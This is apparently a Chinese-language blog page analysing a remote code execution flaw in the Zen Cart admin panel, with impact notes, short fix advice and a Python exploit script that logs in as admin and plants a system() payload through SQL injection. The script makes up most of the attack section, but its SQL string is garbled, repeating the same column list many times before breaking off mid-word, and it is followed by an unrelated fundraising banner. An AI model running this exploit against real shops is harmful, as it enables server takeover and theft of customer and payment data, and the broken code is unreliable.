Zen Cart RCE漏洞分析与PoC利用脚本

漏洞概述 Zen Cart 的管理面板（ ）存在远程代码执行（RCE）漏洞。该漏洞源于系统从数据库中检索配置设置并直接传递给 PHP 的 函数，而未进行充分的 sanitization 或 validation。 影响范围 成功利用此漏洞，攻击者可以以 Web 服务器用户的权限执行任意系统命令。这可能导致： 整个服务器被控制。 访问敏感的顾客和支付数据。 网站被篡改或完全删除。 修复方案 1. 代码注入控制：确保在生成代码时进行适当的控制，防止代码注入。 2. 动态评估指令的中和：在动态评估代码时，对指令进行适当的中和处理，防止 eval 注入。 Proof of Concept (PoC) 步骤 1: 通过 SQL 注入注入 Payload 攻击者使用单独的 SQL 注入（例如，在 中）覆盖配置条目： 步骤 2: 触发 RCE 攻击者导航到配置页面： 。系统检索恶意 并通过 执行它。 命令的输出在管理员的浏览器中呈现。 Exploitation Script (rce.py) ```python import urllib.request, urllib.parse, http.cookiejar, re, base64, os --- Configuration --- BASE_URL = "http://localhost:8080/stomp-LGR-feast" HOST_HDR = "localhost:8080" USER, PASS = "admin", "Admin123@" RCE_OUT = "/tmp/rce_poc_result.txt" --- Session Initialization --- cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) def req(url, data=None, headers=None): if data and isinstance(data, dict): data = urllib.parse.urlencode(data).encode() r = urllib.request.Request(url, data=data) r.add_header("Host", HOST_HDR) if headers: for k, v in headers.items(): r.add_header(k, v) return opener.open(r).read().decode(errors='ignore') try: if os.path.exists(RCE_OUT): os.remove(RCE_OUT) 1. Login to obtain session print("[] Logging in...") login_html = req(f"{BASE_URL}/index.php?cmd=login") token = re.search(r'securityToken" value="([^"]+)', login_html).group(1) req(f"{BASE_URL}/index.php?cmd=login", {"admin_name": USER, "admin_pass": PASS, "securityToken": token}) 2. Obtain token for the modules page print("[] Obtaining security token for injection...") mod_html = req(f"{BASE_URL}/index.php?cmd=modules&set=payment&module=moneyorder") token2 = re.search(r'securityToken" value="([^"]+)', mod_html).group(1) 3. Perform SQL Injection (VE-0017) to plant RCE payload print("[*] Planting RCE payload via SQL (VE-0017)...") sql_key = "INVALID" sql = f"UNION SELECT 'title', '{'error':'TEXT_EMAIL', 'set_function': 'system(\"echo {base64.b64encode(b'ls').decode()}\")', 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_va

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Zen Cart RCE漏洞分析与PoC利用脚本

目标达成感谢每一位支持者 — 我们达成了 100% 目标！